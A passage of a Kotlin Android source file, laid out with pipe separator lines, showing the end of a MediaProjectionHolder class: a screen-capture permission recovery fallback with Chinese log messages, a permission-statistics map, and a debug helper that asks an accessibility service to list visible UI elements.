|
|
|
"MediaProjectionHolder",
|
|
|
|
|
|
"❌ 静态方法中无法获取Context,智能恢复应该由AccessibilityService处理"
|
|
|
|
|
|
)
|
|
|
|
|
|
return null
|
|
|
|
|
|
}
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
return null
|
|
|
|
|
|
|
|
|
|
|
|
} catch (e: Exception) {
|
|
|
|
|
|
Log.e("MediaProjectionHolder", "❌ 智能恢复异常", e)
|
|
|
|
|
|
return null
|
|
|
|
|
|
}
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
/**
|
|
|
|
|
|
* 获取权限统计信息
|
|
|
|
|
|
*/
|
|
|
|
|
|
fun getPermissionStats(): Map<String, Any> {
|
|
|
|
|
|
return mapOf(
|
|
|
|
|
|
"hasPermission" to (mediaProjection != null),
|
|
|
|
|
|
"hasPermissionData" to (permissionResultCode != null),
|
|
|
|
|
|
"isDataValid" to isPermissionDataValid(),
|
|
|
|
|
|
"permissionAge" to (System.currentTimeMillis() - permissionCreationTime),
|
|
|
|
|
|
"lostCount" to permissionLostCount,
|
|
|
|
|
|
"lastRecoveryTime" to lastRecoveryTime,
|
|
|
|
|
|
"androidVersion" to android.os.Build.VERSION.SDK_INT
|
|
|
|
|
|
)
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
private fun debugUIElements() {
|
|
|
|
|
|
try {
|
|
|
|
|
|
val service = AccessibilityRemoteService.getInstance()
|
|
|
|
|
|
if (service == null) {
|
|
|
|
|
|
Log.e("debugUIElements", "无障碍服务未连接")
|
|
|
|
|
|
return
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
Log.d("debugUIElements", "开始调试UI元素...")
|
|
|
|
|
|
service.debugAllVisibleElements()
|
|
|
|
|
|
} catch (e: Exception) {
|
|
|
|
|
|
Log.e("debugUIElements", "调试UI元素失败", e)
|
|
|
|
|
|
}
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
}
|